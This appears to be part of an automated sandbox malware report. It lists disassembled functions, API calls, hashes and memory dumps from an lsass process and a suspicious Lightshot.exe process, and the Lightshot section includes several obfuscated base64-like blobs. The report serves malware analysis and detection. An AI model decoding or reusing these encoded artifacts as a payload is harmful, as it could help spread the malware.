Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 73fda85837acdd30ad006dc6ccb1667200e15de9212539d4e27f8f5c03466d3a
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 2702FA32259B8486EB61DB56F49439AB7A1F7C8794F200415EB8E87BB8DF7CC844CB41

Function 00000140AE865710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865726

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 819f4eb226d638b22eb9453569fbd0dff2ed878ae5cb7d9cc285f1354ad887c7
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9B61C536559B44C6E7629B16F48439AB7A0F7887A4F600515EF8E47BB8DF7CC840CB82

Function 00000140AE874104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000140AE87412C
_set_statfp.LIBCMT ref: 00000140AE874147
_set_statfp.LIBCMT ref: 00000140AE874163
_set_statfp.LIBCMT ref: 00000140AE87419F

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 28d524a13795f3523b3f1b4b207150eb2f338f5cab7179f9a4c1ef00b7941454
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: DC119132AD0B5011F667256AD4913E531446B6DBB8F390624AF7E176F68B34CC41C2A2

Function 00000140ADFD3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000140ADFD352C
_set_statfp.LIBCMT ref: 00000140ADFD3547
_set_statfp.LIBCMT ref: 00000140ADFD3563
_set_statfp.LIBCMT ref: 00000140ADFD359F

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 2e1910b8291bafd17102f3214c72d3e729590e13e78c3872cab4fc5f060f1e3e
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 22115472614B5353FA56162AE4553EB31C36F5C37CF784628AFE6076F68A34E8436200

Function 00000140ADFCF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000140ADFCF124

Strings

Wednesday, xrefs: 00000140ADFCF1ED
or copy constructor iterator', xrefs: 00000140ADFCF25A, 00000140ADFCF275
Tuesday, xrefs: 00000140ADFCF0F4

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 48ac8b7a938d00f4a24374fee49c64dd94bfb0dfea2bd827f35d3ab40a9a7452
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3961B43652234853FA6B8B67E5443EBBAA3EF8D748F744415CB46077B4DB34C967A200

Function 00000140AE86AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000140AE86AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000140AE86AAB7

Strings

RCC, xrefs: 00000140AE86AA85
MOC, xrefs: 00000140AE86AA7C

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1c54ac8669fca167ed3fb4a5461af2b1e7039b1515757cf07daf6e620200d245
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: B6619F33640B848AEB11DF66D4403DD77A0F748BA8F244256EF4E17BA9DB38C995C781

Function 00000140AE86AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140AE86ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000140AE86AE88

Strings

csm, xrefs: 00000140AE86ADC2
csm, xrefs: 00000140AE86AEDA

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 6cac39d5d8876cbc65fde025732dcd94be71c236f1742025846821184820e854
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D951AF72180780CAEB768F17958439977A0F358BA8F244256DF9D47BE5CB38D890D782

Function 00000140ADFCA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFCA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000140ADFCA288

Strings

csm, xrefs: 00000140ADFCA2DA
csm, xrefs: 00000140ADFCA1C2

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 5e9ed10956360af88f8a3a4b9cf73a15bede84b98f5d365089c0e3503e132e06
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B751E432120388CBEB658B6794443DA37A3FB58B84F244117DB4947BE5CB39E5A2E700

Function 00000140ADFC8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140ADFC84A8

Strings

csm, xrefs: 00000140ADFC848E
f, xrefs: 00000140ADFC8426

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 595c9e32b9df4e514150441d0aa3e925450171a8e5ef433ea7709e32150aded9
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: E551E43272170487DB96CF16D404BEA3797FB48BA8F318424DB06437A8EBB4C952A704

Function 00000140ADFC83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140ADFC84A8

Strings

csm, xrefs: 00000140ADFC848E
f, xrefs: 00000140ADFC8426

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fdcdef5ba31d8dbb8912a9a905e6b67567b4155f9952f6a6302e3e1a43461dee
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 4831CF3122174487E792DF13E844BDA37A7FB48B98F258414EF8A037A8CB38C952D704

Function 00000140AE872058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000140AE8720D7
WriteFile.KERNEL32 ref: 00000140AE87239F
WriteFile.KERNEL32 ref: 00000140AE8723E5
GetLastError.KERNEL32 ref: 00000140AE87249B

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 4b0a4d86e2932106c0371b6ae4a27eadaf1a36e0bf94906de29ca74a04e3cc8d
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 44D1D072B54B8089E712CFAAD5403EC3BB1F3587A8F244216CF5D97BA9DA34C946C381

Function 00000140AE8614A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE8614C5
HeapFree.KERNEL32 ref: 00000140AE8614D4
GetProcessHeap.KERNEL32 ref: 00000140AE8614E1
HeapFree.KERNEL32 ref: 00000140AE8614F0
GetProcessHeap.KERNEL32 ref: 00000140AE861500

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: e0938be913c4546f92e354b3f490316f5aad01bc8c73eed3b2a93003b4ccae50
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 4C015A32A40B90C6E706DF67E94828A77A1F78DFA1F244425EF4E4372ADE38C851C791

Function 00000140AE872980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000140AE872A9C
GetLastError.KERNEL32 ref: 00000140AE872B27

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: bfe30e0d5e1943aced18828ddcaefd42f41aed77c308e3009ff5d43c7c6b682c
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: A491AFB264075085F762DF6A94803ED3BA4F758BA8F744109DF4E67AA5DB34CC82C782

Function 00000140AE867960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000140AE86798C
GetCurrentThreadId.KERNEL32 ref: 00000140AE86799A
GetCurrentProcessId.KERNEL32 ref: 00000140AE8679A6
QueryPerformanceCounter.KERNEL32 ref: 00000140AE8679B6

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a5c049cb69e96cfbb56616fdcd891d3e75a6c1cb872cb67dafead8936c6c1fcc
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 28110632B50B018AEB008B61E8542A833A4F719768F540E21DF6D87BA4DF78C598D2C1

Function 00000140ADFC9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000140ADFC9EB7

Strings

RCC, xrefs: 00000140ADFC9E85
MOC, xrefs: 00000140ADFC9E7C

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: fd2f36d4469ca00d580b9035ee875e4ebab09abcf6c64778c8a765e7c8b01963
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E9619F33610B888AEB21DF66D0403DE77B2FB48B89F244215EF4917BA8DB38D166D700

Function 00000140AE862330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000140AE862416
StrCpyW.SHLWAPI ref: 00000140AE86242D

Strings

\\.\pipe\, xrefs: 00000140AE862421

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: c9d078df74486e421dded553d044dc307dfc5948a87b49d5b9b062cc3c97baf6
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: EE51E03228438181E676DB2FA1583EAA791F3CD7A4F640165DF4D03BAADA39CD44C7C2

Function 00000140AE8726F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000140AE872807
GetLastError.KERNEL32 ref: 00000140AE872829

Strings

U, xrefs: 00000140AE8727B3

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 3e73605a521e4cce57338457d13aec77e0fda4a33a28f7c4ac6780cba42ba59d
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 48417172615B8086DB219F6AE8443E977A1F7987A4F604025EF4D87BA4DB3CC941C781

Function 00000140AE8694A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000140AE8694F0
RaiseException.KERNEL32 ref: 00000140AE869531

Strings

csm, xrefs: 00000140AE86951E

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: c81f436458b37827e035cf8ccd5af5f126ed8c86e3896386e64a1e0766a3eb38
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: D7112B32614B8082EB628B16E44439977E5F788BA8F684260EF8C077A9DF3CC955CB40

Function 00000140ADFC7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000140ADFC737C

Strings

riptor at (, xrefs: 00000140ADFC7364
ierarchy Descriptor', xrefs: 00000140ADFC7381

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 56ed09fddae288ef6c89d74bd241d2dfe88a9543861981f92f91ccf0ba0ae745
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: DCE08671650B4892DF038F22E8402D933A3DF5DB68B9891229A5C07321FA38D1FAD301

Function 00000140ADFC73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000140ADFC73D8

Strings

riptor at (, xrefs: 00000140ADFC73C0
Locator', xrefs: 00000140ADFC73DD

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 4940423c840106aa278dadeec7b987efc7fd2bbde3a41644df2d62b25ed6cadf
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 05E08671610B4886DF028F22E4401D97363EF5DB58B989122CA4C07321FA38D1E6D300

Function 00000140AE861BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE861C2D
HeapAlloc.KERNEL32 ref: 00000140AE861C3B
GetProcessHeap.KERNEL32 ref: 00000140AE861C77
HeapFree.KERNEL32 ref: 00000140AE861C85

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 65c83ae18bbeee38c1f395d24bd21a894001158fe5ba6808c8c40ff99673c146
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 0F119E35A41B5485EB46DB6BA8082A977A1FB8DFE0F284028DF4D47776DF38C842D381

Function 00000140AE861268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE86126E
HeapAlloc.KERNEL32 ref: 00000140AE86127D
GetProcessHeap.KERNEL32 ref: 00000140AE861297
HeapAlloc.KERNEL32 ref: 00000140AE8612A8

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8c25a065afb30b7e91423b8a6a5c310c77542b609ab35f2169316764477aec7c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 47E03935A4170486EB068B63D80838A36E1EB8EB26F2480248E0907361DF7D8899D7A1

Analysis Process: Lightshot.exePID: 6472, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	193
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF6E4D8118B Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 108
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF6E4D811A5
_amsg_exit.MSVCRT ref: 00007FF6E4D811CC
_initterm.MSVCRT ref: 00007FF6E4D8120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF6E4D81156), ref: 00007FF6E4D8124E
malloc.MSVCRT ref: 00007FF6E4D8127E
strlen.MSVCRT ref: 00007FF6E4D812A4
malloc.MSVCRT ref: 00007FF6E4D812B0
memcpy.MSVCRT ref: 00007FF6E4D812C3
_cexit.MSVCRT ref: 00007FF6E4D8132D

Strings

&, xrefs: 00007FF6E4D81265
Hc=v+, xrefs: 00007FF6E4D8126F

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID: Hc=v+$&
API String ID: 2643109117-1582277970
Opcode ID: f28bcbd3aced9bded85194f04272e05ae1a5f6cd8d3217fde42567944beb1297
Instruction ID: 45081d0c5122471218285d22546f3b2e4dd658ae4f7f322865ddc8609c62e7db
Opcode Fuzzy Hash: f28bcbd3aced9bded85194f04272e05ae1a5f6cd8d3217fde42567944beb1297
Instruction Fuzzy Hash: 1D415E3BE0964785F600AB35E59577D23A1AF4DB80F446232D94DC37A2DE2EB849830A

Function 00007FF6E4D81394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetWnfProcessNotificationEvent.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6E4D81156), ref: 00007FF6E4D813F7

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: EventNotificationProcess
String ID:
API String ID: 914374624-0
Opcode ID: a1de17929970613745475dfb258eac20f00eeb650f4ca252eee93986af9b64e4
Instruction ID: 4c35cde3e12de7d64be0b70d783a0400092825302bd3666b3b241164786cf32a
Opcode Fuzzy Hash: a1de17929970613745475dfb258eac20f00eeb650f4ca252eee93986af9b64e4
Instruction Fuzzy Hash: 99F0C97AA08B4282D610CB61F88423AB764FB4D380B116E35E98DC7B25CF3DE050CF4A

Non-executed Functions

Function 00007FF6E4D865EC Relevance: 27.5, APIs: 12, Strings: 6, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6E4D866FB
wcslen.MSVCRT ref: 00007FF6E4D86872
wcslen.MSVCRT ref: 00007FF6E4D868A9

Strings

6, xrefs: 00007FF6E4D86A3B
0, xrefs: 00007FF6E4D86F39
JTYTcnV1a2NsdGl6Ym54d2J2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0E3lvYwAe0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDUGNvODxrdA//aGO/a+sVdHVrY2h0aXqSblp3aXRtYW0mY29oZ2t0a3lvYyh9a3J0ZWtjaHRpOmNueHdiZmNhbXZjb255a3RreW9jbmxr, xrefs: 00007FF6E4D86793
X&, xrefs: 00007FF6E4D86FAC
JTb7cnd1a2NsdGl6nZF4d9p2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0i3lvY2Zz0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDeW5lTHlrdGt5b2NdVgWOBS5rzBkvadUTNXjYEy1izhAvY8A+5BDbHyJvzD7xFt0ELmvMPukE1RA1eNg06xLOHS9jwD7kF9sbIm/MPvET, xrefs: 00007FF6E4D86A65
JTb7cnd1a2NsdGl6nZF4d9p2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0Q3hvY2Zz0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDeW5lTHlrdGt5b2NVHJArDWT+aRFl/HAbf+19UB/1ah1l9mVaEPt/w2j6aVoF+nkbZP5pBBoBcB9/7X0OGPJqB2X2ZQQX+397aPppBAL9, xrefs: 00007FF6E4D86F9E

Memory Dump Source

